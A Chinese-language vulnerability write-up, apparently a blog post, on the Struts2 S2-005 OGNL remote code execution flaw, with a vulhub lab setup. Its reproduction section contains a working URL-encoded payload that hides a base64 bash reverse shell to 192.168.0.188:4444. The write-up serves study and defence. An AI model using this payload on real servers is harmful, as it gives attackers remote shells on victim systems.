s2-005命令执行

概述

产生原因

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

1
2
3
4
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

S2-003 使用\u0023绕过s2对#的防御

S2-003 后官方增加了安全模式(沙盒)

S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

参考vulhub

影响

2.0.0 2.1.8.1

环境搭建

1
2
3

cd struts2/s2-005
docker-compose up -d

复现

反弹shell

payload

1
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTg4LzQ0NDQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

效果

image.png

攻防

利用

msf中exploit/multi/http/struts_code_exec模块

实际测试来看,该模块没有对payload中的"\进行编码,导致利用失败

防御

升级struts

参考

S2-005 远程代码执行漏洞 blankunbeaten 博客园

Vulhub Docker-Compose file for vulnerability environment